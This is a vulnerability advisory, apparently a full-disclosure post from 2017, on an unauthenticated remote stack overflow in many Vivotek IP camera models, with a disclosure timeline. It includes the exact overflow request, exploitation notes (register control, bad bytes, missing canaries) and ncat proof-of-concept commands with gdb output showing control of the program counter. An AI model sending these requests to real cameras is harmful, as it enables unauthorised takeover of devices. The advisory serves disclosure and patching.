Many Vivotek IP cameras suffer from a remote stack overflow vulnerability. Device models include CC8160, CC8370, CC8371, CD8371, FD8166A, FD8166A, FD8166A-N, FD8167A, FD8167A, FD8167AS, FD8167AS, FD8169A, FD8169A, FD8169A, FD8169AS, FD8169AS, FD816B, FD816B, FD816BA, FD816BA, FD816C, FD816C, FD816CA, FD816CA, FD816D, FD8177, FD8179, FD8182, FD8182, FD8182-F1, FD8365A_v2, FD8367A, FD8367A, FD8369A, FD8369A, FD836B, FD836BA, FD836D, FD8377, FD8379, FD8382, FD9171, FD9181, FD9371, FD9381, FE8174_v2, FE8181_v2, FE8182, FE8374_v2, FE8381_v2, FE9181, FE9182, FE9381, FE9382, IB8367A, IB8369A, IB836B, IB836BA, IB836D, IB8377, IB8379, IB8382, IB9371, IB9381, IP8166, IP9171, IP9181, IZ9361, MD8563, MD8564, MD8565, SD9161, SD9361, SD9362, SD9363, SD9364, SD9365, SD9366, and VC8101.
95d414aca43139b941563e125a91b31e[STX]
Subject: Vivotek IP Cameras - Remote Stack Overflow
Researcher: bashis <mcw noemail eu> (September-October 2017)
PoC: https://github.com/mcw0/PoC
Release date: November 13, 2017
Full Disclosure: 43 days
Attack Vector: Remote
Authentication: Anonymous (no credentials needed)
Firmware Vulnerable: Only 2017 versions affected
Firmware Patched: October 2017 and higher
Device Model:
CC8160, CC8370, CC8371, CD8371, FD8166A, FD8166A, FD8166A-N, FD8167A, FD8167A, FD8167AS,
FD8167AS, FD8169A, FD8169A, FD8169A, FD8169AS, FD8169AS, FD816B, FD816B, FD816BA, FD816BA,
FD816C, FD816C, FD816CA, FD816CA, FD816D, FD8177, FD8179, FD8182, FD8182, FD8182-F1,
FD8365A_v2, FD8367A, FD8367A, FD8369A, FD8369A, FD836B, FD836BA, FD836D, FD8377, FD8379,
FD8382, FD9171, FD9181, FD9371, FD9381, FE8174_v2, FE8181_v2, FE8182, FE8374_v2, FE8381_v2,
FE9181, FE9182, FE9381, FE9382, IB8367A, IB8369A, IB836B, IB836BA, IB836D, IB8377,
IB8379, IB8382, IB9371, IB9381, IP8166, IP9171, IP9181, IZ9361, MD8563, MD8564,
MD8565, SD9161, SD9361, SD9362, SD9363, SD9364, SD9365, SD9366, VC8101... and possible more
Download Updated Firmware: http://www.vivotek.com/firmware/
[Timeline]
October 1, 2017: Reported findings with all details to Vivotek Cybersecurity
October 2, 2017: First response from Vivotek
October 5, 2017: ACK of findings from Vivotek
October 11, 2017: Vivotek reported first fixed Firmware
October 12, 2017: After request, Vivotek provided samples of fixed Firmware
October 17, 2017: Verified fixed Firmware, Vivotek thanking for the help
October 30, 2017: Noticed new Firmware released, pinged to get some info about their advisory
November 1, 2017: Agreed on publication November 13, 2017
November 9, 2017: Checked few release notes, none mention security fix; pinged Vivotek with the question why not.
November 13, 2017: No reply from Vivotek, Full Disclosure as planned.
[Details]
Vivotek using modified version of Boa/0.94.14rc21, and the vulnerability has been introduced by Vivotek.
The stack overflow is triggered by "PUT" or "POST" request:
[PUT|POST] /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n
However,
the absolutely minimal request to trigger the stack overflow is weird, most probably due to quick hack:
"[PUT|POST]Content-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"
This allows us to insert [JUNK] with 'Good bytes' up to 9182 bytes (0x1FFF) of the request:
"[PUT|POST][JUNK]Content-Length[JUNK]:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"
Notes:
1. B to I = $R4-$R11; X = $PC
2. Size of request availible in $R3 at the LDMFD
3. Max request size: 9182 bytes (0x1FFF)
4. "Start with "\n" in "\n\r\n\r\n" needed to jump with 0x00xxxxxx (if not $PC will be 0x0dxxxxxx)
5. Space (0x20) after ':' in 'Content-Length:' counting as one char of the 20 bytes
6. Stack not protected with "Stack canaries"
7. Good bytes: 0x01-0x09, 0x0b-0xff; Bad bytes: 0x00, 0x0a;
8. heap: Non-executable + Non-ASLR
9. stack: Non-executable + ASLR
[PoC]
$ echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80
(gdb) target remote 192.168.57.20:23946
Remote debugging using 192.168.57.20:23946
0x76eb2c5c in ?? ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) bt
#0 0x58585858 in ?? ()
#1 0x000188f4 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) i reg
r0 0x1 1
r1 0x47210 291344
r2 0x0 0
r3 0x75 117
r4 0x42424242 1111638594
r5 0x43434343 1128481603
r6 0x44444444 1145324612
r7 0x45454545 1162167621
r8 0x46464646 1179010630
r9 0x47474747 1195853639
r10 0x48484848 1212696648
r11 0x49494949 1229539657
r12 0x1 1
sp 0x7e92dac0 0x7e92dac0
lr 0x188f4 100596
pc 0x58585858 0x58585858
cpsr 0x60000010 1610612752
(gdb)
$ echo -en "PUTContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80
(gdb) target remote 192.168.57.20:23946
Remote debugging using 192.168.57.20:23946
0x76e82c5c in ?? ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) bt
#0 0x58585858 in ?? ()
#1 0x000188f4 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) i reg
r0 0x1 1
r1 0x47210 291344
r2 0x0 0
r3 0x4f 79
r4 0x42424242 1111638594
r5 0x43434343 1128481603
r6 0x44444444 1145324612
r7 0x45454545 1162167621
r8 0x46464646 1179010630
r9 0x47474747 1195853639
r10 0x48484848 1212696648
r11 0x49494949 1229539657
r12 0x1 1
sp 0x7ec9cac0 0x7ec9cac0
lr 0x188f4 100596
pc 0x58585858 0x58585858
cpsr 0x60000010 1610612752
(gdb)
Have a nice day
/bashis
[ETX]